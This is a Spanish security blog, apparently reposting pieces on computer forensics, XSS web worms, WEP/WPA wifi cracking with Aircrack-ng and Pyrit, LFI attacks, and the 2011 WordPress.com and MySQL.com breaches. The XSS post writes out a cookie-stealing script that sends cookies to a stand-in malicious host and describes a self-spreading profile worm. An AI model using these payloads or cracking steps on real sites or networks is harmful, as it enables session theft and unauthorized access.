Las ventajas son evidentes, mayor facilidad en el manejo de la información, rapidez en la recolección y análisis de la misma, alta disponibilidad tanto en tiempo como en localidad. Sin embargo, las desventajas y riesgos en los que se incurre no son tan obvios. Entre estos, la vulnerabilidad de la información a ser borrada, la fácil replicación de la información, la explotación de la información por vulnerabilidades en el sistema.

Con todo el riesgo que se corre al manejar información debemos de tener una manera de protegernos y de proteger a las personas de las que mantenemos información. Para poder garantizar las políticas de seguridad y la protección de la información y las tecnologías que facilitan la gestión de la información surge la Informática forense.

Según el FBI, la informática (o computación) forense es la ciencia de adquirir,
preservar, obtener y presentar datos que han sido procesados electrónicamente y
guardados en un medio computacional.

La informática forense consiste en investigar sistemas de información con el fin de detectar evidencias de vulnerabilidad en los mismos. La finalidad de la informática forense, para un ente que la requiera, es perseguir objetivos preventivos (anticipándose al posible problema) u objetivos correctivos (para una solución favorable una vez que la vulnerabilidad y las infracciones ya se han producido).

En conclusión, la informática forense tiene un papel, en primer lugar, como sistema preventivo. Sirve para auditar, mediante la práctica de diversas técnicas para probar que los sistemas de seguridad instalados cumplen con ciertas condiciones básicas de seguridad. Los resultados de las auditorías servirán para poder corregir los errores encontrados y poder mejorar el sistema. Así mismo, lograr la elaboración de políticas de seguridad y uso de los sistemas para mejorar el rendimiento y la seguridad de todo el sistema de información.

En segundo lugar, sí el sistema ha sido penetrado, la informática forense permite realizar un rastreo de la intrusión y poder descubrir el daño realizado. Así como la recopilación de evidencias electrónicas, detectar el origen del ataque o las alteraciones realizadas al sistema (fugas de información, perdida o manipulación de datos). Para que, posteriormente, se utilicen las evidencias encontradas en la captura de los criminales que atacaron el sistema, y se proceda de manera legal según las regulaciones de cada país.

Conclusiones
En la actualidad el valor de la información esta en aumento, con ello debemos de preocuparnos más por protegerla. La informática forense nace a raíz de esta preocupación, buscando tanto la prevención como la reacción y corrección a problemas que puedan afectar los sistemas de información.

Para la buena aplicación preventiva de la informática forense es necesaria la realización de auditorías continuas en los sistemas, y la corrección de los errores encontrados en los mismos. También se necesita establecer políticas de seguridad para usuarios y para el uso de los sistemas de información, con el fin de minimizar la posibilidad de infiltraciones por alguna negligencia por parte de los usuarios o alguna falla en los procedimientos.

Por otro lado, en cuanto a la parte reactiva de la informática forense se necesita el uso de programas para la detección de la intrusión en el sistema de información y los cambios realizados a la información (manipulación o borrado). Así como un equipo multidiciplinario para poder cubrir de manera efectiva las áreas que traspasadas durante el ataque y poder rastrear los daños y al atacante.

Para que todo lo realizado en la informática forense sea exitoso, es necesario que se tengan regulaciones jurídicas que penalicen a los atacantes y que pueda sentenciarseles por los crímenes cometidos. Cada país necesita reconocer el valor de la información de sus habitantes y poder protegerlos mediante leyes. De manera que todos los crímenes informáticos no queden impunes.
Referencias
Via La Consigna

Que es un gusano web y cómo funciona

Antiguamente, los gusanos eran códigos maliciosos, preparados para extenderse rápidamente de sistema en sistema, mediante las redes p2p, el envío automatizado por correo, etc. Los gusanos eran programas informáticos, que al ejecutarlos, utilizaban tu ordenador para extenderse a muchos mas sistemas, sin que tu vieses absolutamente nada.

En la actualidad, con la extrema popularidad e importancia que tiene el mundo web, los gusanos han ido evolucionando, de forma que ha nacido un nuevo tipo de gusano, que no infecta tu ordenador, ni es un programa compilado que debes descargar, sino que es un pequeño fragmento de código javascript, que infecta tu perfil en alguna web.

Todo empezó con los agujeros de seguridad de tipo Cross Site Scripting (XSS), un tipo de agujero de seguridad, al que no se le presta tanta atención como a otros que a priori parecen mas peligrosos, como los Sql Injection, o similares, pero que es tanto o mas peligroso.

Pero para entender los web worms, debemos empezar desde muy al principio, desde las bases de los ataques tipo XSS. Un ataque XSS persigue, normalmente, robar la cookie del visitante. La cookie es una pequeña porción de información, que sirve para que la página web, recuerde que te has autenticado correctamente, y no te pida la contraseña cada vez que quieres hacer una acción.

Para robar la cookie, los ataques XSS se sirven de código javascript, ya que el código javascript se ejecuta en el navegador, tiene acceso a las cookies del mismo, sin embargo, por seguridad, un código javascript solo puede ver las cookies del sitio web que hospeda ese código javascript.

Es decir, si yo visito www.ejemplo.com, y esta web me envía un javascript que accede a las cookies, este javascript no podrá ver mis cookies de otras páginas web.

Y es en esa protección, en la que reside el peligro del Cross Site Scripting; imaginemos una página web que te pregunta tu nombre al entrar, tu lo introduces, y te muestra por pantalla: Hola! <nombreintroducido>. Si yo, en el nombre, introduzco:
<script>alert(document.cookie)</script>
Mi código javascript, podrá acceder a las cookies de esa página web, ya que el código javascript, el navegador, lo recibe a través de la web que me ha preguntado mi nombre.

¿Cual es el peligro real de todo esto?
Veamos un ejemplo ficticio, pero posible…Imaginemos que gmail tiene un error de seguridad, y permite introducir código javascript en el cuerpo de un mail, yo podría escribirte un mail que contubiese el siguiente código:
<script>document.location.href = ‘www.paginamaligna.com/recogercookie.php?cookie=’+document.cookie; </script>
Cuando tu abrieses el correo, el navegador te redirigiría hacía paginamaligna.com, pasándole por GET, tu cookie, a la cual hemos tenido acceso, ya que el javascript, para el navegador, procedía de gmail.
Una vez con tu cookie, borro mi cookie de gmail, y me pongo la tuya, ahora ya estoy autentificado en gmail, con tu nombre de usuario, y puedo leer tu correo.

Una vez entendido esto, entender los gusanos web (web worms) son fáciles de entender, imagina que yo estoy en una red social, y tengo un perfil público, en el cual hay un campo ‘intereses’, donde la gente pone lo que le gusta hacer. Si ese campo, permite introducir código HTML, sin filtrarlo, yo podría introducir:
<script>alert(document.cookie);</script>
Y cuando alguien visitase mi perfil, se mostrase su cookie. Si ahora en lugar de un alert, introduzco un código, que hace un petición POST a la red social, y modifica el perfil de la victima, introduciendo en el campo intereses, el mismo código malicioso que yo tengo, cada persona que entre, se le modificará automáticamente su perfil, y cada persona que vea ese perfil modificado, modificará automaticamente el suyo, y así sucesivamente.

En unas horas, todos los perfiles de una red social pueden estar modificados, es decir, infectados con el código.

Además, este código podría enviarle las cookies al autor original del código, mediante una petición invisible a alguna web (usando un iframe invisible, por ejemplo), de forma que no solo ha infectado todos los perfiles, sino que tiene todas las cookies, de todo el mundo, en la web.
Aunque todo esto suene rocambolesco, es una realidad, y ha sucedido ya en muchas ocasiones, siendo quizás la mas famosa, la de samy, un código javascript que infecto millones de perfiles en myspace, mediante un agujero de tipo XSS.

Como siempre, para protegerse de estos ataques, lo mejor es utilizar noscript, para firefox.
Via  rooibo.com

Video: Cómo hackear una red inalámbrica WEP

Este video How-To explica en 4 minutos cómo hackear la seguridad WEP (Wired Equivalent Privacy) de una red inalámbrica usando el LiveDVD de la distribución especializada en la seguridad BackTrack 4.

Básicamente, el método descripto hace uso de la suite de seguridad Aircrack-ng, que a propósito tiene una activa comunidad en español, para romper la clave WEP. Sin embargo, debemos notar que para ello es necesario intercambiar antes una gran cantidad de paquetes con la red en cuestión, un proceso que puede durar alrededor de una hora.

La moraleja de este tutorial es que la mayoría de las conexiones WEP pueden hackearse en menos de dos horas, y que siempre debemos optar por una encriptación más fuerte, como WPA o WPA2, que aunque tampoco con infalibles, por lo menos es más difícil irrumpir en ellas.

miércoles, 20 de abril de 2011

Como Hackear redes inalambricas WPA/WPA2 con Pyrit

Pyrit es una magnifica herramienta, que facilita  obtener las contraseñas de las redes inalambricas que usen /WPA2 como protocolo de seguridad. Esta aplicacion, permite acelerar el pre-procesamiento una parte de la fase de autentificación de /WPA2-PSK aprovechando la  potencia y la capacidad de procesamiento de la GPU de las tarjetas graficas Nvidia y ATI.

Pyrit esta desarrollado en python, bajo la licencia GPL3,  y se encuentra en muchas distribuciones de GNU/Linux, para instalarlo en Debian, podemos descargarlos desde los repositorios
install pyrit
En securitytube.net, han publicado un , el cual muestra   como puede ser de facil, obtener una contraseña de este tipo de redes, sin embargo, no hay que olvidar que los ataques de fuerza bruta dependen de varios factores como:
  • Capacidad de procesamiento
  • Tamaño de la contraseña
  • Tamaño  del diccionario
  • Diversidad del diccionario
  • Diversidad del password (si tiene caracteres especiales, mayusculas y minusculas)
  • Un poco de suerte
Sin mas que decir, les comparto el video, para que prueben y pongan a trabajar sus GPU’S

Videotutorial: Como realizar un ataque LFI

En securitytube.net (un excelente portal) han publicado un video en el cual explican de una forma clara y sencilla como funciona un ataque LFI ( File Inclusion). Alli se puede observar que tan facil puede explotarse este tipo de vulnerabilidades web. Antes de publicar el video, es recomendable un poco de teoria:
¿Que es LFI?
LFI, Local File Inclusion o inclusión local de archivos, es un tipo de que se encuentra en paginas mal programadas en lenguaje PHP(de hecho el LFile y Rfile inclusion solo afecta al PHP), un usuario malicioso puede utilizar este para obtener archivos locales del por ejemplo archivos de conexion a bases de scrips PHP privados, el archivos passwd, entre otras cosas.. (Definicion tomada de este enlace)
Despues de una definicion basica de  lo que es un LFI,  vamos al video:

jueves, 14 de abril de 2011

Hackean de nuevo WordPress.com

No es la primera vez (hace solo un mes sufrió un ataque DDoS que hizo caer a casi 30 millones blogs) pero tampoco la más grave.

Según se anuncia en el blog de WordPress.com, varios de sus servidores VIP han sido atacados, consiguiendo el acceso a información privada de algunas cuentas, sin aclarar cuáles ni cuántas. 
 
El agujero de seguridad ya ha sido parcheado y regeneradas las claves de las cuentas afectadas, mientras está en marcha una investigación para determinar el alcance exacto del ataque.

Matt Mullenweg aprovecha la ocasión para recordar la conveniencia de contraseñas complejas que no se repitan en distintas cuentas o servicios.

Como es natural, los blogs alojados en servidor propio son ajenos a este tipo de hackeos contra servidores de WordPress.com

lunes, 28 de marzo de 2011

Hackean la base de datos de MySQL.com

Este fin de semana unos hackers rumanos pusieron en evidencia la falta de seguridad de algunos sitios web de Mysql.com y Sun, al exponer nombres de usuario y hashes de contraseñas obtenidos a través de un ataque a ciegas usando nada menos que una inyección SQL o Blind SQL injection.

Los hackers TinKode y Ne0h publicaron un volcado de credenciales robadas de MySQL.com, MySQL.fr, MySQL.de, MySQL.it y www-jp.mysql.com en paste.bin. Entre los datos se incluye la pobre contraseña de 4 dígitos que Robin Schumacher, director de gestión de productos, utilizaba en su cuenta de Wordpress para blogs.mysql.com.


La base de datos expuesta contenía correos electrónicos y credenciales de miembros y empleados, así como tablas con información de clientes y socios, y detalles internos de la red. Los hashes fueron publicados con algunos que ya habían sido descifrados. Por otro lado, XSSed.com también detalla una vulnerabilidad XSS (Cross Site Scripting) que afectan a MySQL.com y que podría haber proporcionado un punto de entrada secundaria que ponía en peligro a los visitantes y empleados desde principios de enero de 2011.

Al mismo tiempo un par de sitios de Sun/Oracle recibieron un ataque similar, pero en este caso sin comprometer datos de acceso.

Link: MySQL.com Database Compromised By Blind SQL Injection (TechieBuzz)

VOLVIMOS

 YA ESTAMOS ACTIVOS, ASI QUE PENDIENTES